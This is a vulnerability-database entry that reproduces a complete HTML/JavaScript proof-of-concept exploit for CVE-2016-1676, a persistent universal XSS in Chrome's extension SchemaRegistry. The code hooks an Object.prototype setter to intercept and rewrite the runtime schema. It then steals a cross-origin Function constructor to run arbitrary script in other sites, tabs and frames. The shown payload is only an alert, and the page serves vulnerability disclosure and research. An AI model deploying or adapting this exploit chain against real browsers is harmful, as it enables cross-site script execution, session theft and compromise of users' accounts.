Lucene search
K

chrome:Persistent UXSS via SchemaRegistry(CVE-2016-1676)

🗓️ 29 Jan 2018 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 86 Views

Chrome Persistent UXSS via SchemaRegistry (CVE-2016-1676) involving interception of extension API schemas leading to universal XSS in all frames and tabs

Related
Code

                                                <html>

<body>
  <script>
    function mutateSchema(schema) {
      var $Object = schema.constructor
      var $Function = $Object.constructor
      // If this assumption does not hold, then we have to do a bit more trickery with getters
      // so that the availability check in binding.js (addProperties) passes.
      console.assert(
        'lastError' in schema.properties,
        'Assuming that schema is runtime, and runtime.lastError is defined'
      )
      // Any code in this Function runs in the singleton execution environment that persists across page loads.
      $Function(
        'schema_dot_properties',
        `
            // This must be a property that passes GetAvailability(schema.namespace + "." + propertyName).
            // Luckily, we can recursively the same property name because the namespace is concatenated
            // with the property name, not the full object path.
            // So we can have something like runtime.lastError.lastError :)
            const WHITELISTED_PROP = 'lastError';
            schema_dot_properties[WHITELISTED_PROP] = {
                type: 'object',
                // This activates the branch that ultimately leaks an object from the page to our script.
                // We can then steal the Function constructor from that object and then run arbitrary code
                // through that.
                properties: {
                    [WHITELISTED_PROP]: {
                        $ref: 'StorageArea',
                        value: [],
                    },
                },
                get value() {
                    // Create a new one upon access to make sure that every page gets a
                    // new instance of the interceptor.
                    return new Proxy({}, {
                        set(target, propname, value, receiver) {
                            target[propname] = value;
                            if (propname === WHITELISTED_PROP && typeof value === 'object' && value !== null) {
                                // Yay, we now got a (possibly) cross-origin object.
                                var $$Function = value.constructor.constructor;
                                $$Function('alert("Hello " + document.URL + "  in " + navigator.userAgent)')();
                            }
                            return true;
                        },
                    });
                },
            };
            `
      )(schema.properties)
      schema.types.unshift({
        id: 'StorageArea',
        type: 'object',
        js_module: 'StorageArea',
        functions: []
      })
      console.log('Overwritten scheme.')
    }

    // Call this function to leak the module.
    function triggerSchemaModification() {
      // Once per page because the exploit hooks on the lazy initialization of chrome.runtime,
      // and after initializing it, it won't trigger again.
      if (triggerSchemaModification.runOncePerPageLoad) return
      triggerSchemaModification.runOncePerPageLoad = true
      var hooked = false
      var intercepted = false
      var runtimeintercepted = false
      var alreadyintercepted = false
      // Hook on the creation of Binding and modify the schema.
      //
      // function Binding(schema) {
      //   this.schema_ = schema;
      //   this.apiFunctions_ = new APIFunctions(schema.namespace);
      //   this.customEvent_ = null;
      //   this.customHooks_ = []; <------------ Hooking here.
      // };
      Object.defineProperty(Object.prototype, 'customHooks_', {
        configurable: true,
        get() {
          // customHooks_ has no value by default.
        },
        set(customHooks_) {
          if (customHooks_ === true) return // Ignore devtools setter.

          var runHooks_ = this.runHooks_
          console.assert(
            typeof runHooks_ === 'function',
            'runHooks_ should be a function!'
          )

          Object.defineProperties(this, {
            // Transparently assign the unavailableApiFunctions_, so that the behavior of
            // binding does not change unexpectedly.
            customHooks_: {
              configurable: true,
              writable: true,
              enumerable: true,
              value: customHooks_
            },
            // This is our evil stuff. The runHooks_ method gets a reference to the schema.
            runHooks_: {
              enumerable: true,
              get() {
                hooked = true
                return function(mod, schema) {
                  intercepted = true
                  if (!schema) {
                    // For Chrome 49-.
                    schema = this.schema_
                  }
                  if (schema.namespace === 'runtime' && schema.types) {
                    runtimeintercepted = true
                    if (schema.types[0].id === 'StorageArea') {
                      console.log('Warning: Schema was already modified.')
                      alreadyintercepted = true
                    } else {
                      console.log('Trying to overwrite scheme...')
                      mutateSchema(schema)
                    }
                  }
                  return runHooks_.call(this, mod, schema)
                }
              }
            }
          })
        }
      })

      // Trigger the lazy module system.
      chrome.runtime
      if (alreadyintercepted) return // This is fine, no need to check assertions.
      console.assert(hooked, 'hook should have been set up.')
      console.assert(intercepted, 'hook should have been called.')
      console.assert(
        runtimeintercepted,
        'hook should have been called for the runtime schema'
      )
    }

    function showUXSSAfterNavigation() {
      triggerSchemaModification()
      location.href = 'https://encrypted.google.com'
    }

    function showUXSSInNewTab() {
      triggerSchemaModification()
      window.open('https://encrypted.google.com')
    }

    function showUXSSInFrame() {
      triggerSchemaModification()
      var f = document.createElement('iframe')
      // Using data URLs in case google uses X-Frame-Options.
      f.src = 'data:text/html,<script>chrome.runtime;</script>data-URLs have a unique origin' document.body.appendChild(f)
    }
  </script>

  The UXSS vulnerability persists until the current RenderThread is destroyed (e.g. by a process swap).
  <br>
  <button onclick="showUXSSAfterNavigation()">Show UXSS after navigation</button>
  <button onclick="showUXSSInNewTab()">Show UXSS in new tab</button>
  <button onclick="showUXSSInFrame()">Show UXSS in frame</button>
</body>

</html>
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jan 2018 00:00Current
8.4High risk
Vulners AI Score8.4
EPSS0.01485
86